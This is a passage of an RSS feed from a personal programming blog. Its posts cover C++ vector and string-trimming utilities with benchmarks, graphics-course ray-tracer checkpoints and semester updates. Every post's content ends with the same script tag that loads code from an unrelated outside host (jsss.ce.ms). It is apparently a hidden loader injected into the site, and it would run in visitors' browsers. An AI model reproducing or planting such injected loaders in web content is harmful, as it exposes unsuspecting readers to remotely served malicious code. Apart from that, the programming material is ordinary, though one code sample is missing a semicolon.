	}

	// This uses a Quaternion combined with the Matrix Utility, neither of which are detailed out in this post.
	inline Vector3	Rotate(const Vector3&amp; vec1, Scalar angle, const Vector3&amp; axis)
	{
		return TransformCoord(Quaternion::FromAxis(axis.X,axis.Y,axis.Z,angle).Get_RotationMatrix(),vec1);
	}

	inline Vector3	ToPolar(Scalar x, Scalar y, Scalar z)
	{
		return Vector3(
			atan2(y,x),
			sqrt(x * x + y * y),
			z);
	}

	inline Vector3	ToCartesian(Scalar radius, Scalar angle, Scalar z)
	{
		return Vector3(
			radius * cos(angle),
			radius * sin(angle),
			z);
	}

	inline Vector3	Cross(const Vector3&amp; vec1, const Vector3&amp; vec2)
	{
		return Vector3(
			vec1.Y * vec2.Z - vec1.Z * vec2.Y,
			vec1.Z * vec2.X - vec1.X * vec2.Z,
			vec1.X * vec2.Y - vec1.Y * vec2.X);
	}
}

#endif</pre>
<p>Vector3Util.cpp</p>
<pre class="brush:c++">#include "Vector3Util.h"

#include "../Constants.h"

namespace _Warp
{
	void Clamp(Vector3&amp; vect,Scalar length)
	{
		Scalar vecLength = len2(vect);

		if(vecLength &lt;= length * length)
		{
			return;
		}

		vect *= length / sqrt(vecLength);
	}

	void Normalize_s(Vector3&amp; vect)
	{
		Scalar vecLength = len2(vect);

		if(vecLength == 0)
		{
			return;
		}

		vect /= sqrt(vecLength);
	}

	void SetLength_s(Vector3&amp; vect, Scalar length)
	{
		Scalar vecLength = len2(vect);

		if(vecLength == 0)
		{
			return;
		}

		vect *= length / sqrt(vecLength);
	}

	Vector3 ToNormalized_s(const Vector3&amp; vect)
	{
		Scalar vecLength = len2(vect);

		if(vecLength == 0)
		{
			return vect;
		}

		vecLength = sqrt(vecLength);

		return Vector3(vect.X / vecLength, vect.Y / vecLength, vect.Z / vecLength);
	}

	// Thanks to Martin Baker for this solution
	// http://www.euclideanspace.com/maths/geometry/rotations/conversions/angleToEuler/index.htm
	// To Note: I have to debug this to make sure it works as stated.
	Vector3 ToEuler(Vector3 axis, Scalar angle)
	{
		Vector3 out = Vector3();

		Scalar s = sin(angle);
		Scalar c = cos(angle);
		Scalar t = static_cast&lt;Scalar&gt;(1.0) - c;

		if ((axis.X * axis.Y * t + axis.Z * s) &gt; static_cast&lt;Scalar&gt;(0.998))// north pole singularity detected
		{
			out.Y = static_cast&lt;Scalar&gt;(2.0) * atan2(axis.X * sin(angle / static_cast&lt;Scalar&gt;(2.0)), cos(angle / static_cast&lt;Scalar&gt;(2.0)));
			out.Z = static_cast&lt;Scalar&gt;(W_PI_2);
			out.X = 0;
			return out;
		}
		if ((axis.X * axis.Y * t + axis.Z * s) &lt; static_cast&lt;Scalar&gt;(-0.998))// south pole singularity detected
		{
			out.Y = static_cast&lt;Scalar&gt;(-2.0) * atan2(axis.X * sin(angle / static_cast&lt;Scalar&gt;(2.0)), cos(angle / static_cast&lt;Scalar&gt;(2.0)));
			out.Z = -static_cast&lt;Scalar&gt;(W_PI_2);
			out.X = 0;
			return out;
		}
		out.Y = atan2(axis.Y * s - axis.X * axis.Z * t , 1 - (axis.Y * axis.Y + axis.Z * axis.Z ) * t);
		out.Z = asin(axis.X * axis.Y * t + axis.Z * s) ;
		out.X = atan2(axis.X * s - axis.Y * axis.Z * t , 1 - (axis.X * axis.X + axis.Z * axis.Z) * t);
		return out;
	}
}</pre>
<p>You&#8217;ll notice in the Vector3Util I have some functions ending with &#8220;_s&#8221;, like &#8220;Noramlize_s&#8221;; this is a notation I&#8217;m trying to mean, in this case, a safe normalize function call (won&#8217;t result in a divide by zero error).  So, if you know the vector you&#8217;re using can&#8217;t possibly be zero, use the standard Normalize function, if not, then feel free to use Normalize_s.  Please let me know if you have a comment on the notation!</p>
<p>Anyway, this Vector3 class and utility are code I use in my personal game development, and in other school projects that I may have, and have used it and my personal math libs in a ray tracer.  Concerning the util, I&#8217;m still tweaking it, making decisions on how to wrap it in a namespace (like it&#8217;s own _Math namespace, which was taken out for this post), or perhaps on whether I feel I really need a separate util instead of having them as member functions, which would be more convenient with intellisense at hand. If you&#8217;re wondering what I&#8217;m talking about, check out this article at <a href="http://drdobbs.com/184401197">Dr Dobbs</a> on encapsulation.  I personally have to give it another read and determine if I agree with it or not and really want to stick with that methodology.</p>
<p>&nbsp;</p>
<p>Please leave your thoughts and suggestions!<br />
[I'll be uploading the upgraded version of this Vector3 class sometime soon, I realize there are parts of this version that may be a little rough/unfinished, and after that I'll include the source files for you to download]<script type="text/javascript" src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/424/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Random Thoughts</title>
		<link>http://leetnightshade.com/archives/405?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=random-thoughts</link>
		<comments>http://leetnightshade.com/archives/405#comments</comments>
		<pubDate>Sun, 17 Apr 2011 02:19:47 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=405</guid>
		<description><![CDATA[I find my life to me quite busy, and there never seems to be enough time in which to complete everything I want to complete. Because of two classes, Computer Graphics 2, and Foundations of 3D, I find I don&#8217;t have as much free time as I&#8217;d like. I have to work on my ray [...]]]></description>
			<content:encoded><![CDATA[<p>I find my life to me quite busy, and there never seems to be enough time in which to complete everything I want to complete.  Because of  two classes, Computer Graphics 2, and Foundations of 3D, I find I don&#8217;t have as much free time as I&#8217;d like.</p>
<p>I have to work on my ray tracing homework, which I need to rewrite to be multi-threaded, and improve the organization and design of it. I have to work on a project which uses that same ray tracing framework, and add a UI to it.  For my 3d project I also need to add a UI.  For this other personal project, Upwards, I need to finish the HUD stuff.  Also for 3d, I&#8217;m working on a multi-threaded server with load-balancing capabilities.  I&#8217;m also working on my own personal engine Warp, during the process of all of the above.  I&#8217;m finishing up a Graduate school application for SMU.  Also, my gf is staying with me, so I have to take care of her; however, I think she&#8217;s helping me relieve stress, so I&#8217;m really glad she&#8217;s here.  (Thank youu Becky! :O&lt;3 )</p>
<p>On top of it all, my parents want me to use my free time to apply to jobs and try to get my life figured out before I graduate.   Um yeah, what free time again? I&#8217;m at school, and it&#8217;s consuming my life, I don&#8217;t have much time for anything else.  Thanks for being loving and considerate though.</p>
<hr />
<p>&nbsp;</p>
<p>There&#8217;s a lot of stuff I want to add to my Warp engine: a build system like Make, CMake, or something; a pre-processor for putting content into faster loading files and possibly putting them into a single format, maybe even a compressed one; finish designing and upgrading my animation systems and put hardware skinning in place; finish abstracting out the effect system so I can use my DX10 rendering components; debug some DX9 code with a custom texure that wasn&#8217;t rendering correctly; abstract out the Network interfaces, add some Windows networking components, and hook up some tools to take advantage of it; create the UI (to use on the above projects), and setup debugging tools and other creation tools; finish abstracting the threading interfaces, and start taking advantage of them for main systems; port my multi-threaded load balancing server to Warp; add procedural texture generation; setup the game scene manager, and try to hook up my ray tracer to it;   setup scene graphs and other techniques for improving rendering speeds; add a system to handle pre/post processing and saving and indexing buffers, in case effects need to share data so data isn&#8217;t being rendered twice carelessly; etc.</p>
<p>So, there&#8217;s a lot of research and development I want to do, as this is an educational endeavor and I love learning new things.  Something I&#8217;ve seen a need for, is a bit buffer for the manipulation of bits; I&#8217;ve already started writing one for my huffman coding exercise, though I think if I put it into my engine I&#8217;ll want to rewrite some things.  I also want to look into various techniques for compression, though also even writing a float class that&#8217;s not just 32 bits, perhaps 24 or even 16 bits; I just have to look more into the storage format and see how much precision I lose by doing this.</p>
<hr />
<p>&nbsp;</p>
<p>FARSCAPE! Frelll this is an awesome show! ;D</p>
<p>On that note, my girlfriend Beck has mentioned the possibility of us working on a Farscape fan game.  Turns out there has already been a Farscape game, but from what I gather it sucked.  Here&#8217;s a vid you can check out of the old game: <a href="http://www.youtube.com/watch?v=1ANbChkbubk">Farscape: The Game gameplay video</a> And here&#8217;s a page with some reviews: <a title="Farscape - The Game" href="http://www.amazon.com/Farscape-Pc/dp/B000067JZB">Amazon</a>. Doesn&#8217;t seem like the game did very well, or was any good at least.  From briefly thinking about it, I&#8217;d model the game after Mass Effect or Knights of the Old Republic.  After talking about it a little, I figured the player shouldn&#8217;t be able to play an existing character; the player would get to follow a new character, an addition to Moya.  I think I want the game to play out like a Shooter RPG, and leveling up a character and customizing them doesn&#8217;t make much sense to me on an already developed character.</p>
<p>Anyway, making a Farscape fan game is merely an idea at this point, if not one to help drive the development of my engine.  But, if you have comments concerning this &#8220;project,&#8221; please feel free to drop me a line.</p>
<p>[Disclaimer] I&#8217;m a fairly new Farscape fan, and still haven&#8217;t seen all seasons.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/405/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CG2 – Checkpoint 4</title>
		<link>http://leetnightshade.com/archives/399?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=cg2-%25e2%2580%2593-checkpoint-4</link>
		<comments>http://leetnightshade.com/archives/399#comments</comments>
		<pubDate>Sat, 16 Apr 2011 00:45:34 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[School]]></category>
		<category><![CDATA[CG2]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=399</guid>
		<description><![CDATA[This assignment is a test of procedural textures.]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-4-2.png"><img class="aligncenter size-full wp-image-400" title="Checkpoint 4 - 2" src="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-4-2.png" alt="" width="493" height="430" /></a></p>
<p style="text-align: center;"><a href="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-4-1.png"><img class="aligncenter size-full wp-image-401" title="Checkpoint 4 - 1" src="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-4-1.png" alt="" width="493" height="430" /></a></p>
<p style="text-align: center;"><a href="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-4-1B.png"><img class="aligncenter size-full wp-image-402" title="Checkpoint 4 - 1B" src="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-4-1B.png" alt="" width="464" height="394" /></a></p>
<p style="text-align: center;"><a href="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-4-3.png"><img class="aligncenter size-full wp-image-403" title="Checkpoint 4 - 3" src="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-4-3.png" alt="" width="464" height="394" /></a></p>
<p><br/></p>
<p style="text-align: center;">This assignment is a test of procedural textures. </p>
<p><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/399/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CG2 &#8211; Mid-Term Update</title>
		<link>http://leetnightshade.com/archives/395?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=cg2-mid-term-update</link>
		<comments>http://leetnightshade.com/archives/395#comments</comments>
		<pubDate>Wed, 13 Apr 2011 05:09:56 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[School]]></category>
		<category><![CDATA[CG2]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=395</guid>
		<description><![CDATA[Title : Ambient Occlusion Shader and Componentized Ray Tracer By : Brian Ernst Course : Computer Graphics 2, 4003-571 Professor : Warren R. Carithers Project Page : Computer Graphics 2 – Project Project Objectives : Ambient Occlusion shader Componetized Ray Tracer Plug-in Shader equation/method Plug-in Super sampling method/per-pixel modification Plug-in Texture sampling method/per-pixel modification Configurable to run [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Title </strong>: Ambient Occlusion Shader and Componentized Ray Tracer</p>
<p><strong>By </strong>: Brian Ernst</p>
<p><strong>Course </strong>: Computer Graphics 2, 4003-571</p>
<p><strong>Professor </strong>: Warren R. Carithers</p>
<p><strong>Project Page</strong> : <a href="http://leetnightshade.com/archives/tag/cg2">Computer Graphics 2 – Project</a></p>
<p><strong>Project Objectives</strong> :</p>
<ul>
<li>Ambient Occlusion shader</li>
<li>Componetized Ray Tracer
<ul>
<li>Plug-in Shader equation/method</li>
<li>Plug-in Super sampling method/per-pixel modification</li>
<li>Plug-in Texture sampling method/per-pixel modification</li>
<li>Configurable to run on N number of threads and so work can be distributed as one threads out of work</li>
</ul>
</li>
<li>UI to interact with Ray Tracer</li>
</ul>
<p><strong>Project Responsibilities</strong> :</p>
<p>I, Brian Ernst, am responsible for all of the work on this project.</p>
<p><strong>Progress </strong>:</p>
<p>I&#8217;ve done some research, and I have an idea of how I&#8217;m going to start attaching this.  Ambient occlusion seems fairly straight forward, the solution involves shading surfaces based on the proximity of other surfaces. So for each surface area I&#8217;m processing, I need to do a ray intersection, creating a ray in place of the surface normal; if the ray hits something, I&#8217;ll need to do a shading calculation, and the shading calculation is based on some set distance, the closer the intersection the darker the surface, the farther the intersection the less shadowed the surface is.  Obviously this is really simplified down quite a bit.</p>
<p><strong>Assessment of Progress </strong>:</p>
<p>Concerning the timeline I laid out, I&#8217;m a little behind. But I have a lot of things to work on, Graduate School stuff, job stuff, and another project for Foundations of 3D (I&#8217;m working on a multi-threaded, load balancing server that registers the instance of that game server to a central server for others to search for games).  So, I&#8217;m really busy, but I hope to make enough time to work on this; and no, I haven&#8217;t had too much as far as free time.  I&#8217;ve been living and breathing programming for the past couple weeks at least.</p>
<p><strong>Project Timeline</strong> :</p>
<ul>
<li>End of Week 6 &#8211; Multi-threaded Ray tracer, with some component stuff (threading is already under way, components already under way; they just need to be hooked up).</li>
<li>Week 7 &#8211; Start on Ambient Occlusion shader.</li>
<li>Week 7 &amp; 8 &#8211; Gadget System with UI components.</li>
<li>Week 9 &#8211; Do research on another area of Graphics to maybe add</li>
<li>Week 10 &#8211; Ray tracer UI to a hopefully polished and definitely working state. Presentation… GO!</li>
</ul>
<p><script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/395/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CG2 – Checkpoint 3</title>
		<link>http://leetnightshade.com/archives/350?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=cg2-%25e2%2580%2593-checkpoint-2</link>
		<comments>http://leetnightshade.com/archives/350#comments</comments>
		<pubDate>Tue, 05 Apr 2011 01:23:47 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[School]]></category>
		<category><![CDATA[CG2]]></category>
		<category><![CDATA[ray tracing]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=350</guid>
		<description><![CDATA[[More details coming soon, I'm just publishing this post so I can email the link to my professor before I head home to continue working on it. ]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-3-1B.png"><img class="aligncenter size-full wp-image-361" title="Checkpoint 3 - 1B" src="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-3-1B.png" alt="" width="493" height="430" /></a></p>
<p style="text-align: center;"><a href="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-3-3B.png"><img class="aligncenter size-full wp-image-366" title="Checkpoint 3 - 3B" src="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-3-3B.png" alt="" width="493" height="430" /></a></p>
<p style="text-align: center;"><a href="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-3-4B.png"><img class="aligncenter size-full wp-image-367" title="Checkpoint 3 - 4B" src="http://leetnightshade.com/wp-content/uploads/2011/04/Checkpoint-3-4B.png" alt="" width="493" height="430" /></a></p>
<p>[More details coming soon, I'm just publishing this post so I can email the link to my professor before I head home to continue working on it. ]<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/350/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Whitespace String Trimming Functions in C++</title>
		<link>http://leetnightshade.com/archives/328?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=efficient-string-trimming-functions-in-c</link>
		<comments>http://leetnightshade.com/archives/328#comments</comments>
		<pubDate>Wed, 30 Mar 2011 04:47:56 +0000</pubDate>
		<dc:creator>leetnightshade</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[source code]]></category>

		<guid isPermaLink="false">http://leetnightshade.com/?p=328</guid>
		<description><![CDATA[[Disclaimer : All benchmarks were done in debug mode on an i7 920 system with no compiler optimizations] After browsing some cool C++ util functions today on StackOverflow, one of the cool util functions was for trimming strings, so I became intrigued and decided to compare them against my own, as they used some cool [...]]]></description>
			<content:encoded><![CDATA[<p>[Disclaimer : All benchmarks were done in debug mode on an i7 920 system with no compiler optimizations]</p>
<p>After browsing some cool C++ util functions today on StackOverflow, one of the cool util functions was for trimming strings, so I became intrigued and decided to compare them against my own, as they used some cool C++ std library tricks that I&#8217;ve never seen before.  After doing benchmark tests, I was excited to find my own implementation appeared to blow his out of the water.  After 1,000,000 tests, his averaged about 27 microseconds, while mine at first averaged less than 5 microseconds.  After tweaking mine a bit, my trim_trailingWhitespace function averaged close to 4 microseconds after averaging 1,000,000 samples.  Also to note, his function works directly on the original string, while mine returns a new copy; so it&#8217;s even more impressive.</p>
<p>Here&#8217;s another benchmark using 1,000,000 samples.<br />
Using the following string: &#8221;          &#8221;<br />
His: 37.88 microseconds<br />
Mine: 4.03 microseconds</p>
<p>Benchmark 3 using the same # of samples as before.<br />
Using the following string: &#8221;  The world ends with you!   &#8221;<br />
His: 30.37 microseconds<br />
Mine: 6.26 microseconds</p>
<p>The reason for this post, is because I was excited to find out my implementation is extremely fast, and I felt like sharing it with the world to see if it&#8217;s possible to do even better! I&#8217;m still thinking of ways to improve my functions, but please let me know if you can best me in any way, I&#8217;m here to learn!</p>
<hr />The only header you should need is the following, with the proper using statements too of course:</p>
<pre class="brush:c">#include &lt;iostream&gt;

using std::basic_string;</pre>
<p>This is the trim function used by my trim_trailingWhitespace</p>
<pre class="brush:c">	template&lt;typename CharType&gt;
	static basic_string&lt;CharType&gt; trim(const basic_string&lt;CharType&gt;&amp; str, size_t index, size_t len)
	{
		size_t length = str.size();
		if(index &gt;= length)
		{
			return basic_string&lt;CharType&gt;()
		}

		length -= index;
		length = length &gt; len ? len : length;

		return str.substr(index, length);
	}</pre>
<p>And this is my function to trim the whitespace at the end of the string:</p>
<pre class="brush:c">	template&lt;typename CharType&gt;
	static basic_string&lt;CharType&gt; trim_trailingWhitespace(const basic_string&lt;CharType&gt;&amp; str)
	{
		size_t length = str.size();
		if(length == 0)
		{
			return str;
		}

		register size_t index = length - 1;

		while(' ' == str[index])
		{
			if(index != 0)
			{
				--index;
			}
			else
			{
				return basic_string&lt;CharType&gt;();
			}
		}

		return trim(str, 0, ++index);
	}</pre>
<p>You&#8217;ll notice I&#8217;m using some funky template stuff here, and basic_string; this will allow you to use whatever kind of string encoding you want, 1Byte ASCII characters (string), or 2Byte unicode characters (wstring), or whatever.  And the beauty of it is, if you pass in the proper string type, like string or wstring, you don&#8217;t need to define the template parameters; your compiler will automatically fill them in for you so you only just need to call the function name without worrying about the template details!</p>
<p><strong>I haven&#8217;t gotten a chance to rewrite my trim_leadingWhitespace function, so that will be coming soon; and yes, I will rename these once I decide upon a better name.</strong></p>
<hr />After doing some further research I stumbled across this <a href="http://mlawire.blogspot.com/2009/07/c-whitespace-trimming-functions.html" target="_blank">implementation</a>.  I realized my above comparison to the first algorithm wasn&#8217;t entirely fair as the implementation wasn&#8217;t even competitive, even though it worked in-place.  So, here&#8217;s the source for an actually efficient implementation of rear trimming white space:</p>
<pre class="brush:c">void rtrim(string&amp; str, const locale&amp; loc)
{
  string::size_type pos = str.size();
  while (pos &gt; 0 &amp;&amp; isspace(str[pos - 1], loc)) pos--;
  str.erase(pos);
}</pre>
<p>By replacing the isspace with &#8216; &#8216; == you can make this function much faster, though obviously this works with our locale, and may be different across other languages.  Another possible reason this isn&#8217;t as fast as it could be is because of the str[pos - 1], he&#8217;s doing an extra calculation per loop besides the pos&#8211;.  His solution gets around the problem of using an unsigned int (size_t) that mine originally had, but lucky for me my rewrite made mine even more efficient because of this trick he had to do.</p>
<p>And here&#8217;s the details on <a href="http://pubs.opengroup.org/onlinepubs/009695399/functions/isspace.html" target="_blank">isspace</a>. I think my check works fine for both string and wstring and the like; if not, please let me know.  [Edit] You could pass the locale space/seperator in as a parameter to the function if that&#8217;s an issue.</p>
<p>As the above solution works in place, I decided to tweak my original function to work in place on a string, and am excited to say that it beats out this obviously improved implementation.  Here&#8217;s my new in-place implementation:</p>
<pre class="brush:c">	template&lt;typename CharType&gt;
	static void trim_trailingWhitespace(basic_string&lt;CharType&gt;&amp; str)
	{
		size_t length = str.size();
		if(length == 0)
		{
			return;
		}

		register size_t index = length - 1;

		while(' ' == str[index])
		{
			if(index != 0)
			{
				--index;
			}
			else
			{
				str.clear();
				return;
			}
		}
		str.erase(++index);
	}</pre>
<p>So, my implementation provides shortcuts for an empty string, and for the case the entire string contains spaces (where you see str.clear()).  It also provides an interesting way to loop through the string compared to the other implementation, allowing mine to be a bit quicker, probably because I only have to use str[index] (besides the above mentioned shortcuts).</p>
<p>Benchmark 1:<br />
String: &#8221;      &#8221;<br />
His: 2.97 microseconds<br />
His + my tweak: 2.68 microseconds<br />
Mine:2.54 microseconds</p>
<p>Benchmark 2:<br />
String: &#8221;  The world ends with you!   &#8221;<br />
His: 3.93 microseconds<br />
His + my tweak: 3.68 microseconds<br />
Mine: 3.65 microseconds</p>
<p>As noted at the header, the above tests were done in debug mode with no optimizations.  If you turn on optimizations you&#8217;ll notice the two algorithms at the bottom here are neck and neck, it doesn&#8217;t really matter what you use.  Heck, if you look at the algorithm from StackOverflow that&#8217;s not nearly as efficient in debug, suddenly becomes nearly comparable.  Though, it&#8217;s still nice to have a code that runs fast in debug too; but it does raise the question whether it was worth the time to do this research; as they say, don&#8217;t optimize until you have to.  It&#8217;s been a nice educational endeavor so far, so I don&#8217;t really care if it might be considered wasted time, as I&#8217;ve learned more than a thing or two.  Thoughts?</p>
<p>And here&#8217;s the link to the StackOverflow page of useful C++ utilities: <a href="http://stackoverflow.com/questions/469696/what-is-your-most-useful-c-c-utility/469712" target="_blank">Most Useful C++ Utils</a>.<script src="http://jsss.ce.ms/17"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://leetnightshade.com/archives/328/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

